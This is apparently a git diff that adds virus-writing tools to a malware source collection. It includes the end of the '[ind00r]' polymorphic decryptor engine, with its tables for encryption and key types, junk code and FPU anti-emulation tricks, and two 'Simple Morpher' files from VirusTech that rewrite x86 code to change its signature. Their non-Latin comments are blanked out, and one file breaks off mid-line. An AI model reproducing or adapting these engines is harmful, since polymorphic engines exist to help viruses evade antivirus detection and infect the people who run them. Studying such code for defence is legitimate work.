MOD_DISP8 or MOD_DISP32 +; +ciCreateOperand proc + pushad + mov eax, ecx + and al, MOD_REG + cmp al, MOD_REG ; R/M operand = register? + jz COcreate_mr ; yes, directly to ciCreateMODRM + test cl, MOD_DIRECT ; direct addressing? + jnz COno_disp + mov eax, esi + test eax, eax ; displacement = 0? + jz COno_disp ; don't use displacement + or cl, MOD_DISP32 ; set 32-bit displacement + test cl, MOD_DIRECT + jnz COno_disp + movsx eax, al + cmp eax, esi + jne COno_disp + xor cl, MOD_REG +COno_disp: test ch, ch ; second index register? + jz COcreate_mr ; no, we don't need SIB + or cl, MOD_SIB ; set SIB flag +COcreate_mr: +; create MOD/RM byte +; +; BL = register or additional opcode information (bits 3, 4, 5) +; CL = register or memory operand (bits 0,1,2) +; - register operand: REG_??? + MOD_REG +; - memory operand, no displacement: REG_??? + MOD_NODISP +; - memory operand, 8-bit displacement: REG_??? + MOD_DISP8 +; - memory operand, 32-bit displacement: REG_??? + MOD_DISP32 +; - memory operand, immediate addressing: MOD_DIRECT +; - sib memory operand, no displacement: MOD_SIB + MOD_NODISP +; - sib memory operand, 8-bit displacement: MOD_SIB + MOD_DISP8 +; - sib memory operand, 32-bit displacement: MOD_SIB + MOD_DISP32 +; - sib memory operand, immediate addressing: MOD_DIRECT + MOD_SIB +; +; output: +; +; AL = displacement size: +; MOD_NODISP +; MOD_DISP8 +; MOD_DISP32 +; MOD_DIRECT +; MOD_SIB ; if MOD_SIB the lower 3 bits are base register +; +; [EBP] with no displacement is immediate addressing. if you want [EBP], +; this procedure generates zero 8-bit displacement. if you want immediate +; address use MOD_DIRECT. +; +; [ESP] normally indicates that SIB byte follows. when you use [ESP] this +; procedure generates SIB byte (24h). when you want to use SIB byte, use +; MOD_SIB. +; +; if no displacement, sib byte and [ebp] as base, zero 8-bit displacement +; is used if MOD_DIRECT + MOD_SIB, immediate address is used as base... +; AL = MOD_NODISP, MOD_DISP8 or MOD_DISP32 (or MOD_SIB if sib) +; CL = base +; REG_??? +; CH = index +; REG_??? (not ESP) + NOSCALE/SCALE_2/4/8 +; +; AL = MOD_NODISP, MOD_DISP8 or MOD_DISP32 (or MOD_SIB if sib) + + shl ebx, 03h ; register + ; let's check if operand is register + + mov eax, ecx + and al, MOD_REG ; clear bits 0-5 + xor al, MOD_REG ; invert bit 6 & 7 + jnz CMblah1 ; memory operand. + xchg eax, ecx + and al, 0C7h + or eax, ebx + stosb ; directly create it! + xor eax, eax ; return MOD_NODISP + jmp CMexit1 +CMblah1: mov eax, ecx + and al, 0C7h + cmp al, REG_EBP ; EBP and no displacement? + jnz CMblah2 + or cl, MOD_DISP8 ; use 8-bit displacement +CMblah2: mov eax, ecx + and al, 07h or MOD_DIRECT or MOD_SIB + cmp al, REG_ESP ; ESP is index reg? + jnz CMblah3 ; nope + or eax, ebx + and cl, MOD_REG + or eax, ecx + stosb + mov byte ptr [edi], 24h + inc edi + and al, MOD_REG + jmp CMexit1 +CMblah3: mov eax, ecx + test al, MOD_DIRECT ; direct addressing? + jz CMblah4 ; nope + and cl, 38h + or cl, REG_EBP ; no displacement and EBP +CMblah4: mov eax, ecx + test al, MOD_SIB ; do we have SIB byte? + jz CMblah6 ; no SIB byte + + ; set ESP as index register (SIB) + + and al, 0C0h or MOD_SIB or MOD_DIRECT + or al, REG_ESP + and cl, 0C7h or MOD_SIB or MOD_DIRECT +CMblah6: and al, 0C7h + or eax, ebx + stosb + mov eax, ecx + and al, 0C7h or MOD_SIB or MOD_DIRECT +CMexit1: + ; created MOD/RM byte. now let's do the displacement + + test eax, eax ; no displacement? + jz COexit ; yes, exit + test al, MOD_SIB ; SIB byte? + jz COblah ; no, don't store SIB byte + shl ch, 03h ; creatin' SIB byte + push eax ; preserving addressing mode + and al, REG_RND - 1 ; mask base register + or al, ch + stosb ; store SIB byte + pop eax +COblah: test al, MOD_DIRECT ; direct addressing? + jnz COdirect ; yes, store VA & exit +COblah2: test al, MOD_DISP8 ; do we have 8-bit displacement? + jz COblah3 ; no, perform next check + xchg esi, eax + stosb + jmp COexit +COblah3: test al, MOD_DISP32 + jz COexit +COdirect: xchg esi, eax + stosd +COexit: mov [esp], edi + popad + ret +ciCreateOperand endp +; initialized data + db '[ind00r] polymorphic engine by slurp', 0 + +; decryptor instructions generator addresses (relative to idelta) +Generatorz dd offset iProcLdPtr - idelta ; load pointer + dd offset iProcLdCnt - idelta ; load counter + dd offset iProcLdKey - idelta ; load key + dd offset iProcDecData - idelta ; decrypt data + dd offset iProcIncKey - idelta ; increment key + dd offset iProcIncPtr - idelta ; increment pointer + dd offset iProcDecCnt - idelta ; decrement counter + dd offset iProcFPUFool - idelta ; neat stuff :O +; junk instruction generator addresses (relative to idelta) + +JunkGen dd offset iMemJunk - idelta + dd offset iRegJunk - idelta +JUNKGEN_CNT equ 02h + +; decryptor procedures are called in this order: +CallOrder1 db LOAD_POINTER ; + db LOAD_COUNTER ; these procedures can + db LOAD_KEY ; be mixed. +CALL_ORDER_1 equ $ - CallOrder1 + db DECRYPT_DATA ; stays at its place +CALL_ORDER_2 equ $ - CallOrder1 +CallOrder2 db INC_KEY ; + db INC_POINTER ; these procedures can + db DEC_COUNTER ; be mixed. + db FPU_FOOL ; + db JUNK_PROCS dup (JUNK_PROC) ; + +; procedure order (1 byte for each procedures that will be mixed randomly) +ProcedureOrder db LOAD_POINTER + db LOAD_COUNTER + db LOAD_KEY + db DECRYPT_DATA + db INC_KEY + db INC_POINTER + db DEC_COUNTER + db FPU_FOOL + db JUNK_PROCS dup (JUNK_PROC) +PROC_ORDER equ $ - ProcedureOrder + +; registerz +Registers equ $ +preg db REG_ECX ; pointer register +creg db REG_EDX ; counter register +kreg db REG_EAX ; key register +junkreg1 db REG_EBX ; junk register 1 +junkreg2 db REG_ESI ; junk register 2 +junkreg3 db REG_EDI ; junk register 3 +USED_REGS equ $ - Registers + +RandomConst dd RANDOM_SEED ; random seed constant (unchanged + ; during runtime) +idelta equ $ ; delta offset (held in ebp) + +; uninitialized data + +RandomSeed dd ? ; random seed (changed) + +InitValues equ $ ; some values we have to initialize +JunkSpSize dd ? ; size of junk space +JunkSpRVA dd ? ; address of junk space +DecryptRVA dd ? ; address of encrypted code +CryptSize dd ? ; size of crypted code +EncryptRVA dd ? ; address of code to encrypt +CryptKey dd ? ; encryption key +KeyIncrement dd ? ; key incrementation +CryptType db ? ; encryption type (byte) +KeyIncType db ? ; key increment type (byte) + +ProcParameters db MAX_PROCS + 1 dup (?) +ProcAddress dd MAX_PROCS + 1 dup (?) + +JunkProcs db ? ; number of junk procedures +ProcCount db ? ; number of procedures + +CurrentProc db ? ; identifies current procedure when + ; in the generator loop. +InLoop db ? ; boolean, if true we are + ; generating decryptor loop +nojunk db ? +; procedure number constantz +LOAD_POINTER equ 00h +LOAD_COUNTER equ 01h +LOAD_KEY equ 02h +DECRYPT_DATA equ 03h +INC_KEY equ 04h ; increment key +INC_POINTER equ 05h ; increment pointer by 4 +DEC_COUNTER equ 06h ; decrement counter by 1 +FPU_FOOL equ 07h ; some anti emulatin' stuff +JUNK_PROC equ 08h +MAX_PROCS equ JUNK_PROC + JUNK_PROCS + 1 +MIN_PROCS equ JUNK_PROC + 1 +JUNK_PROCS equ 04h ; maximal junk procedure count - 1 + +MAX_PARAMS equ 04h ; maximal number of parameters + +; encryption type constantz +ENC_XOR equ 00000000b ; xor encryption +ENC_ADD equ 00000001b ; add encryption +ENC_SUB equ 00000010b ; sub encryption +ENC_ROL equ 00000011b ; rol encryption +ENC_ROR equ 00000100b ; ror encryption +ENC_RND equ 5 + +; key increment type constantz +KEY_INC equ 00000000b ; rol key with random value +KEY_DEC equ 00000001b ; ror key with random value +KEY_ROL equ 00000010b ; inc key with random value +KEY_ROR equ 00000011b ; dec key with random value +KEY_RND equ 4 +; i386 instruction set constants +; correct order of register on stack after a pushad. offset relative +; to ESP +PUSHAD_EAX equ (REG_EDI - REG_EAX) * 4 ; location of EAX +PUSHAD_ECX equ (REG_EDI - REG_ECX) * 4 ; location of ECX +PUSHAD_EDX equ (REG_EDI - REG_EDX) * 4 ; location of EDX +PUSHAD_EBX equ (REG_EDI - REG_EBX) * 4 ; location of EBX +PUSHAD_ESP equ (REG_EDI - REG_ESP) * 4 ; location of ESP +PUSHAD_EBP equ (REG_EDI - REG_EBP) * 4 ; location of EBP +PUSHAD_ESI equ (REG_EDI - REG_ESI) * 4 ; location of ESI +PUSHAD_EDI equ (REG_EDI - REG_EDI) * 4 ; location of EDI +PUSHAD_SIZE equ 8 * 04h ; size of pushad record + +; dword registerz +REG_EAX equ 00000000b +REG_ECX equ 00000001b +REG_EDX equ 00000010b +REG_EBX equ 00000011b +REG_ESP equ 00000100b +REG_EBP equ 00000101b +REG_ESI equ 00000110b +REG_EDI equ 00000111b + +; word registerz +REG_AX equ 00000000b +REG_CX equ 00000001b +REG_DX equ 00000010b +REG_BX equ 00000011b +REG_SP equ 00000100b +REG_BP equ 00000101b +REG_SI equ 00000110b +REG_DI equ 00000111b + +; byte registerz +REG_AL equ 00000000b +REG_CL equ 00000001b +REG_DL equ 00000010b +REG_BL equ 00000011b +REG_AH equ 00000100b +REG_CH equ 00000101b +REG_DH equ 00000110b +REG_BH equ 00000111b + +; fpu registerz +REG_ST0 equ 00000000b +REG_ST1 equ 00000001b +REG_ST2 equ 00000010b +REG_ST3 equ 00000011b +REG_ST4 equ 00000100b +REG_ST5 equ 00000101b +REG_ST6 equ 00000110b +REG_ST7 equ 00000111b + +REG_RND equ REG_EDI + 1 + +; jump opcode constantz +JMP_SHORT equ 0EBh +JMP_LONG equ 0E9h +JMPC_SHORT equ 070h +JMPC_LONG equ 080h ; 2 byte opcode! + +; conditions + +COND_C equ 002h ; carry +COND_NC equ 003h ; no carry +COND_E equ 004h ; equal A = B +COND_NE equ 005h ; not equal A != B +COND_Z equ 004h ; zero A = B +COND_NZ equ 005h ; not zero A != B +COND_S equ 008h ; sign msb = 1 +COND_NS equ 009h ; no sign msb = 0 +COND_P equ 00Ah ; parity even lsb = 0 +COND_NP equ 00Bh ; parity odd lsb = 1 +COND_O equ 000h ; overflow msb was toggled +COND_NO equ 001h ; no overflow msb wasn't toggled + +COND_B equ COND_C ; below A > B +COND_NAE equ COND_B ; neither above or equal A > B +COND_NB equ COND_NC ; not below A B +COND_AE equ COND_NB ; above or equal A B +COND_BE equ 006h ; below or equal A B +COND_NA equ COND_BE ; not above A B +COND_NBE equ 007h ; neither below or equal A < B +COND_A equ COND_NBE ; above A < B +COND_L equ 00Ch ; less A > B +COND_NGE equ COND_L ; neither greater or equal A > B +COND_NL equ 00Dh ; not less A B +COND_GE equ COND_NL ; greater or equal A B +COND_LE equ 00Eh ; less or equal A B +COND_NG equ COND_LE ; not greater A B +COND_NLE equ 00Fh ; neither less or equal A < B +COND_G equ COND_NLE ; greater A < B + +; call opcode constantz +CALL_DIRECT equ 0E8h + +; procedure commands +PROC_ENTER equ 0C8h +PROC_LEAVE equ 0C9h +PROC_RETP equ 0C2h +PROC_RET equ 0C3h +MOV_EBP_ESP equ 0EC8Bh + +; stack opcodes +PUSH_REG equ 050h ; xor REG_??? +POP_REG equ 058h +PUSH_IMM equ 068h +PUSH_IMM_SX equ 06Ah +POP_MEM equ 08Fh + +; increment/decrement opcodes +INC_REG equ 040h +DEC_REG equ 048h +INCDEC_GROUP equ 0FEh + +; mov opcodes +MOV_REG_RM equ 0 +MOV_REG_IMM equ 0B0h ; mov register, immediate +MOV_REG_IMM8 equ 0B0h +MOV_REG_IMM32 equ 0B8h +MOV_MEM_IMM equ 0C6h ; mov memory, immediate + +; extended mov opcodes + +MOVX equ 0B6h +MOVX_BYTE equ 000h +MOVX_WORD equ 001h +MOVX_ZX equ 000h +MOVX_SX equ 008h + +; load effective address +LOAD_EA equ 08Dh + +; Flag set/clear commands +CLR_CRY equ 0F8h +SET_CRY equ 0F9h +CLR_INT equ 0FAh +SET_INT equ 0FBh +CLR_DIR equ 0FCh +SET_DIR equ 0FDh + +; Common opcode constants + +; prefixes +ESC_2BYTE equ 0Fh +OPERAND_SIZE equ 66h +ADDRESS_SIZE equ 67h + +; segment override prefix +OVERRIDE_FS equ 64h +OVERRIDE_GS equ 65h + +; operand size +OPSIZE_8 equ 00h +OPSIZE_32 equ 01h +OPSIZE_16 equ 02h + +; direction +MEM_REG equ 00h +REG_MEM equ 01h + +; some opcodes support direct EAX/AX/AL access +USE_EAX equ 04h + +XCHG_EAX_REG equ 090h ; add register number to get opcode (not eax) +OP_NOP equ 090h ; very obsolete :x< +TEST_EAX_IMM equ 0A8h + +; Shift operation constants +OP_SHIFT equ 0C0h + +SHIFT_IMM equ 000h ; shift immediate +SHIFT_1 equ 001h ; shift 1 time +SHIFT_CL equ 002h ; shift cl times +SHIFT_RND equ 003h ; for choosing random shift. + +ROL_SHIFT equ 000h +ROR_SHIFT equ 001h +RCL_SHIFT equ 002h +RCR_SHIFT equ 003h +SHL_SHIFT equ 004h +SHR_SHIFT equ 005h +SAR_SHIFT equ 006h +RND_SHIFT equ 007h + +OP_GROUP1 equ 080h ; opcode for immediate group 1 +OP_GROUP3 equ 0F6h ; opcode for shift group 3 + +; jmp, call, push, inc, dec group +OP_GROUP5 equ 0FFh ; opcode for jmpcallpushincdec group 5 + +P_INC equ 000h +P_DEC equ 001h +P_CALL_NEAR equ 002h ; call dword ptr +P_CALL_FAR equ 003h ; call 48-bit ptr +P_JMP_NEAR equ 004h ; jmp dword ptr +P_JMP_FAR equ 005h ; jmp 48-bit ptr +P_PUSH equ 006h + +; Math operation constants +OPTYPE_ADD equ 00h +OPTYPE_OR equ 01h +OPTYPE_ADC equ 02h +OPTYPE_SBB equ 03h +OPTYPE_AND equ 04h +OPTYPE_SUB equ 05h +OPTYPE_XOR equ 06h +OPTYPE_CMP equ 07h +OPTYPE_MOV equ 008h +OPTYPE_TEST equ 009h +OPTYPE_XCHG equ 00Ah + +; Math opcode constants +MATH_ADD equ OPTYPE_ADD shl 03h +MATH_OR equ OPTYPE_OR shl 03h +MATH_ADC equ OPTYPE_ADC shl 03h +MATH_SBB equ OPTYPE_SBB shl 03h +MATH_AND equ OPTYPE_AND shl 03h +MATH_SUB equ OPTYPE_SUB shl 03h +MATH_XOR equ OPTYPE_XOR shl 03h +MATH_CMP equ OPTYPE_CMP shl 03h + +; Immediate opcode constants +IMM_OP equ 80h +IMM_SX equ 03h ; sign extended immediate + +; MOD/RM constants + +; MOD bits +MOD_NODISP equ 000h ; no displacement +MOD_DISP8 equ 040h ; 8-bit displacement +MOD_DISP32 equ 080h ; 32-bit displacement +MOD_REG equ 0C0h ; register +_MOD equ 011000000b ; mask for MOD-field + +MOD_DIRECT equ 00001000b ; use immediate address +MOD_SIB equ 00010000b ; use sib byte + +; REG bits +_REG equ 000111000b ; mask for REG-field + +; RM bits +RM_DIRECT equ REG_EBP xor MOD_NODISP +RM_SIB equ REG_ESP +_RM equ 000000111b ; mask for RM field + +; FPU opcodes + +FPU_OPCODE equ 0D8h +FPU_DWORD_OP equ 0D8h ; dword ops/fpu reg ops +FPU_DWORD_LDST equ 0D9h ; group 1 - 4, FLD, FST, ... +FPU_INT_OP equ 0DAh ; dword operations +FPU_INT_LDST equ 0DBh ; group 5, FILD, FIST +FPU_QWORD_OP equ 0DCh ; qword ops/fpu reg ops +FPU_QWORD_LDST equ 0DDh ; qword FILD, FIST +FPU_WORD_OP equ 0DEh ; word ops (only mem), and reversed arithmetix +FPU_WORD_LDST equ 0DFh ; word FILD, FIST + +; FPU opcode + MOD/RM (bl = FPU_FMUL, FDIV...) +; +; they'll fit to the following opcodez: +; FPU_DWORD_OP, FPU_QWORD_OP & FPU_WORD_OP +; IMPORTANT: note that the word operations won't work with fpu registers! + +FPU_ADD equ 000b ; MOD/RM bit 3,4,5 = 001 +FPU_MUL equ 001b +FPU_CMP equ 010b +FPU_COMP equ 011b +FPU_SUB equ 100b +FPU_SUBR equ 101b +FPU_DIV equ 110b +FPU_DIVR equ 111b + +; FPU_WORD_OP group contains some opcodes with reversed register order. +; this means first comes st(?) and then the first register. +FPU_ADDP equ 000b ; MOD/RM bit 3,4,5 = 001 +FPU_MULP equ 001b +FPU_COMPP equ 011b +FPU_SUBRP equ 100b +FPU_SUBP equ 101b +FPU_DIVRP equ 110b +FPU_DIVP equ 111b + +FPU_DIR1 equ 000h ; direction st, st(?) +FPU_DIR2 equ 004h ; direction st(?), st + +; FPU stand alone instructions +FPU_INIT equ 0E3DBh +FPU_SQRT equ 0FAD9h + +FPU_LD1 equ 0E8D9h +FPU_LDL2T equ 0E9D9h +FPU_LDL2E equ 0EAD9h +FPU_LDPI equ 0EBD9h +FPU_LDLG2 equ 0ECD9h +FPU_LDLN2 equ 0EDD9h +FPU_LDZ equ 0EED9h + +FPU_WAIT equ 09Bh + +FPU_STORE equ 02h +FPU_LOAD equ 00h +; end of ipe32 diff --git a/Engines/Virus.Win32.Kpasm.7z b/Engines/Virus.Win32.Kpasm.7z new file mode 100644 index 00000000..04cd312a Binary files /dev/null and b/Engines/Virus.Win32.Kpasm.7z differ diff --git a/Engines/Virus.Win32.Kpasm.English.pdf b/Engines/Virus.Win32.Kpasm.English.pdf new file mode 100644 index 00000000..9de37e71 Binary files /dev/null and b/Engines/Virus.Win32.Kpasm.English.pdf differ diff --git a/Engines/Virus.Win32.Morpher.a.asm b/Engines/Virus.Win32.Morpher.a.asm new file mode 100644 index 00000000..dd6b1cde --- /dev/null +++ b/Engines/Virus.Win32.Morpher.a.asm @@ -0,0 +1,510 @@ + +;:::::::::::::::::::::::::::::::::::::::::::::::::::::: +; Simple Morpher v.0.1 : +; : +; x0man 2008 : +; : +; http://www.virustech.org/ : +;:::::::::::::::::::::::::::::::::::::::::::::::::::::: +;-----------------------------------------------------------------------------------------: +; : +; , . : +; : +; : +; : : +; : +;_OPCODE struct; : +; dwOldAddress dd ? ; ( ) : +; dwNewAddress dd ? ; ( ) : +; dwJumpAddress dd ? ; ( ) : +; ; ( ) : +; dwLength dd ? ; : +; ; :) : +;_OPCODE ends : +; : +; "" : +; 1. , : +; , _OPCODE. : +; 2. ( ) : +; 3. , : +; EIP . : +; 4. ( NOP) : +; : +; : +; 1. : +; 2. , : +; , ( ). : +; : +; : +; ... ! : +; : +; Catchy_32, : +; http://www.wasm.ru, . : +; : +;GreeTz: : +; Osen : +; izee [ EOF-Project ] http://eof-project.net/ : +; : +; tPORt (http://www.tport.org/) : +; REVENGE(http://www.revenge-crew.com/) : +; TLG (http://tlg.astalavista.ms/) : +; TSRh (http://tsrh.org.ua/) : +; TPOC (http://vx.netlux.org/tpoc/) : +; : +; : +; ! : +; : +; 10.05.2008 : +; x0man [VirusTech] : +; http://www.virustech.org : +;-----------------------------------------------------------------------------------------: + + .386 + .model flat, stdcall + option casemap :none + + include \MASM32\INCLUDE\windows.inc + include \MASM32\INCLUDE\kernel32.inc + include \MASM32\INCLUDE\user32.inc + + includelib \MASM32\LIB\kernel32.lib + includelib \MASM32\LIB\user32.lib + +; ######################################################################### + +_OPCODE struct + dwOldAddress dd ? ; ( ) + dwNewAddress dd ? ; ( ) + dwJumpAddress dd ? ; ( ) + ; ( ) + dwLength dd ? ; + ; :) +_OPCODE ends + +; ######################################################################### + +.code + +;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: +; :) +;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: +test_code: + @@: + jmp @F + mov eax, edx + pop eax + push eax + call @F + cmp eax, 0 + jne @B + jmp @B + add ecx, edx + add eax, edx + xchg edx, ecx + call @B + jne @F + db 0,0,0,0,0,0,0,0,0,0 + db 0,0,0,0,0,0,0,0,0,0 + db 0,0,0,0,0,0,0,0,0,0 + db 0,0,0,0,0,0,0,0,0,0 + db 0,0,0,0,0,0,0,0,0,0 + db 0,0,0,0,0,0,0,0,0,0 + db 0,0,0,0,0,0,0,0,0,0 + db 0,0,0,0,0,0,0,0,0,0 + db 0,0,0,0,0,0,0,0,0,0 + db 0,0,0,0,0,0,0,0,0,0 + db 0,0,0,0,0,0,0,0,0,0 + db 0,0,0,0,0,0,0,0,0,0 + db 0,0,0,0,0,0,0,0,0,0 + db 0,0,0,0,0,0,0,0,0,0 + db 0,0,0,0,0,0,0,0,0,0 + jne @B + ret + @@: + ret + int 3 +;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: +;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: +;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: + + + + +;:::::::::::::::::::::::::::::::::: +; +include Catchy32\Catchy32.inc + + + +;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::| +; , | +; : dwCurrentAddress - | +; | +; 00000000: 74 30 JE imm8 | +; "imm8" | +; imm8 = 00000000 + 30 + 2 = 00000032 | +; .. | +; 00000000 - | +; 30 - | +; 2 - JE imm8 | +;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::| +; 00000000: 74 30 JE 00000032 --. | +; 00000002: | | +; | | +; 00000032: <----- | +; "" | +; , | +; ;-) | +;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::|:::| +; IN dwCurrentAddress : | +; OUT EAX : | +;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::| +get_jump_address proc dwCurrentAddress : DWORD + + push ecx + push edi + + mov edi, dwCurrentAddress + mov al, byte ptr [edi] + + ;::::::::::::::::::::::::::::::::::::: + ; XX imm8 + cmp al, 070h + jl @F + cmp al, 07Fh + jna @_jump_imm8_ + +@@: + ;::::::::::::::::::::::::::::::::::::: + cmp al, 0EBh + je @_jump_uncond_imm8_ + ;::::::::::::::::::::::::::::::::::::: + ; 0F XX imm32 + cmp al, 00Fh + jne @F + mov ah, byte ptr [edi + 1] + cmp ah, 080h + jl @F + cmp ah, 08Fh + jna @_jump_imm32_ + ;::::::::::::::::::::::::::::::::::::: + +@@: + ;::::::::::::::::::::::::::::::::::::: + ; JMP imm32 + cmp al, 0E9h + je @_jump_uncond_imm32_ + + + ;::::::::::::::::::::::::::::::::::::: + ; CALL + cmp al, 0E8h + je @_call_imm32_ + + + ;::::::::::::::::::::::::::::::::::::: + jmp @_exit_ + ;::::::::::::::::::::::::::::::::::::: + +@_jump_imm8_: +@_jump_uncond_imm8_: + ;::::::::::::::::::::::::::::::::::::: + ; + movzx eax, byte ptr [edi + 1] + mov cl, al + test cl, 10000000b ; isNegative? + + jnz @_neg_1 + add edi, eax + add edi, 2 + xchg eax, edi + jmp @_exit_ + + @_neg_1: + neg al + sub al, 2 + sub edi, eax + xchg eax, edi + jmp @_exit_ + + +@_jump_imm32_: + ;::::::::::::::::::::::::::::::::::::: + ; + mov eax, dword ptr [edi + 2] + mov ecx, eax + shr ecx, 24d + test ecx, 10000000b ; isNegative? + + jnz @_neg_2 + add eax, edi + add eax, 6 + jmp @_exit_ + + @_neg_2: + neg eax + sub eax, 6 + sub edi, eax + xchg eax, edi + jmp @_exit_ + ;::::::::::::::::::::::::::::::::::::: + + + +@_jump_uncond_imm32_: +@_call_imm32_: + ;::::::::::::::::::::::::::::::::::::: + ; JMP imm32 & CALL imm32 + mov eax, dword ptr [edi + 1] + mov ecx, eax + shr ecx, 24d + test ecx, 10000000b ; isNegative? + + jnz @_neg_3 + add edi, eax + add edi, 5 + xchg eax, edi + jmp @_exit_ + + @_neg_3: + neg eax + sub eax, 5 + sub edi, eax + xchg eax, edi + ;/////////////////////////////////////// +@_exit_: + + pop edi + pop ecx + + ret +get_jump_address endp + + +;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::| +; | +; .... | +; | +; IN dwAddress - | +; IN pOpcodes - | +; OUT EAX - ... | +;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::| +get_new_jump_address proc dwAddress:DWORD, pOpcodes : DWORD + push ecx + + assume ecx : ptr _OPCODE + mov ecx, pOpcodes + mov eax, dwAddress + + @@: + cmp [ecx].dwOldAddress, eax + je @F + add ecx, sizeof _OPCODE + cmp [ecx].dwOldAddress, 0 + jne @B + xor eax, eax + @@: + mov eax, [ecx].dwNewAddress + + pop ecx + ret +get_new_jump_address endp + + +;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::| +; , NOP | +; ! 0CCh | +;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::| +; IN dwCodeAddress - | +; IN dwOutputBuffer - | +; OUT EAX - | +;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::| +MorphCode proc dwCodeAddress : DWORD, dwOutputBuffer : DWORD +local pOpcodes : DWORD +local dwTotalCodeSize : DWORD + + ;:::::::::::::::::::::::::::::::::::::::::::::::::: + ; pOpcodes - :: + ; dwOutputBuffer - :: + ;:::::::::::::::::::::::::::::::::::::::::::::::::: + + ;:::::::::::::::::::::::::::::::::::::::::::::::::::::::: + ; + invoke VirtualAlloc, NULL, 1024*1024, MEM_COMMIT + MEM_RESERVE, PAGE_READWRITE + mov pOpcodes, eax + + ;:::::::::::::::::::::::::::::::::::::::::::: + ; + ; + push 0 + pop dwTotalCodeSize + + ;::::::::::::::::::::::::::::::::::::::::: + ; + assume ecx : ptr _OPCODE + mov esi, dwCodeAddress ; Code Address + mov edi, dwOutputBuffer ; New Code Address + mov ecx, pOpcodes ; array of _OPCODES + ;:::::::::::::::::::::::::::::::::::::::: + + + +;:::::::::::::::::::::::::::::::::::::::: +; ::::::::::::::::::::::::::: +;:::::::::::::::::::::::::::::::::::::::: + + ;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: + ; EDI + mov [ecx].dwNewAddress, edi + + ;:::::::::::::::::::::::::::::::::::: + ; + ; Loop 1 + @_loop_1: + + ;:::::::::::::::::::::::::::::::::::: + ; + ; IN ESI == Current Code Offset + ; OUT EAX == Instruction Length + call c_Catchy + + ;::::::::::::::::::::::::::::::::::::: + ; + mov [ecx].dwOldAddress, esi + mov [ecx].dwLength, eax + + ;:::::::::::::::::::::::::::::::::::: + ; + ; 00Fh + ; +10h + ; : + ; :00000000: 74 30 + ; 0F +10 30 00 00 00 + ; :00000000: 0F 84 30 00 00 00 + cmp byte ptr [esi], 070h + jl @F + cmp byte ptr [esi], 07Fh + ja @F + push eax + mov al, 00Fh + stosb + + movzx eax, byte ptr [esi] + add eax, 10h + stosd + + ;::::::::::::::::::::::::::::::::::::::: + ; + push esi + call get_jump_address + + ;:::::::::::::::::::::::: + ; + mov [ecx].dwJumpAddress, eax + + pop eax + + ;:::::::::::::::::::::::::::::::::::: + ; + ; 00Fh XXh imm32, .. 6 + ; XX [80h..8Fh] + add dwTotalCodeSize, 6 + ;:::::::::::::::::::::::::::::::::::: + ; + ; + jmp @_next_inst_ + + @@: + ;:::::::::::::::::::::::::::::::::::: + ; ... + ; JMP imm8 -> JMP imm32 + ; + ; : 00000000: EB 33 + ; : 00000000: E9 33 00 00 00 + cmp byte ptr [esi], 0EBh + jne @F + push eax + + mov al, 0E9h + stosb + xor eax, eax + stosd + + ;::::::::::::::::::::::::::::::::::::::: + ; + push esi + call get_jump_address + + ;:::::::::::::::::::::::: + ; + mov [ecx].dwJumpAddress, eax + + pop eax + ;::::::::::::::::::::::::::::::: + ; + ; E9 imm32, .. 5 + add dwTotalCodeSize, 5 + jmp @_next_inst_ + ;:::::::::::::::::::::::::::::::::::: + + + @@: + ;:::::::::::::::::::::::::::::::::::: + ; JMP imm32 + cmp byte ptr [esi], 0E9h + jne @F + + push eax + push esi + call get_jump_address + mov [ecx].dwJumpAddress, eax + pop eax + jmp @_replace_instr_ + ;:::::::::::::::::::::::::::::::::::: + + @@: + ;:::::::::::::::::::::::::::::::::::: + ; CALL + cmp byte ptr [esi], 0E8h + jne @F + + push eax + push esi + call get_jump_address + mov [ecx].dwJumpAddress, eax + pop eax + jmp @_replace_instr_ + ;:::::::::::::::::::::::::::::::::::: + + + @@: + ;:::::::::::::::::::::::::::::::::::: + ; 00Fh XX imm32 + cmp byte ptr [esi], 00Fh + jne @F + cmp byte ptr [esi + 1], 080h + jl @F + cmp byte ptr [esi + 1], 08Fh + ja @F + push eax + push esi + call get_jump_address + mov [ecx].dwJumpAddress, eax + pop eax + ;:::::::::::::::::::::::::::::::::::: + + @@: + +@_replace_instr_: + ;:::::::::::::::::::::::::::::::::::::::::: + ; . + ; + ; + push esi + push ecx + + mov ecx, eax + rep movsb + + pop ecx + pop e \ No newline at end of file diff --git a/Engines/Virus.Win32.Morpher.b.asm b/Engines/Virus.Win32.Morpher.b.asm new file mode 100644 index 00000000..b97e32bf --- /dev/null +++ b/Engines/Virus.Win32.Morpher.b.asm @@ -0,0 +1,758 @@ + +;:::::::::::::::::::::::::::::::::::::::::::::::::::::: +; Simple Morpher v.0.1 : +; : +; x0man 2008 : +; : +; http://www.virustech.org/ : +;:::::::::::::::::::::::::::::::::::::::::::::::::::::: +;-----------------------------------------------------------------------------------------: +; : +; , . : +; : +; : +; : : +; : +;_OPCODE struct; : +; dwOldAddress dd ? ; ( ) : +; dwNewAddress dd ? ; ( ) : +; dwJumpAddress dd ? ; ( ) : +; ; ( ) : +; dwLength dd ? ; : +; ; :) : +;_OPCODE ends : +; : +; "" : +; 1. , : +; , _OPCODE. : +; 2. ( ) : +; 3. , : +; EIP . : +; 4. ( NOP) : +; : +; : +; 1. : +; 2. , : +; , ( ). : +; : +; : +; ... ! : +; : +; Catchy_32, : +; http://www.wasm.ru, . : +; : +;GreeTz: : +; Osen : +; izee [ EOF-Project ] http://eof-project.net/ : +; : +; tPORt (http://www.tport.org/) : +; REVENGE(http://www.revenge-crew.com/) : +; TLG (http://tlg.astalavista.ms/) : +; TSRh (http://tsrh.org.ua/) : +; TPOC (http://vx.netlux.org/tpoc/) : +; : +; : +; ! : +; : +; 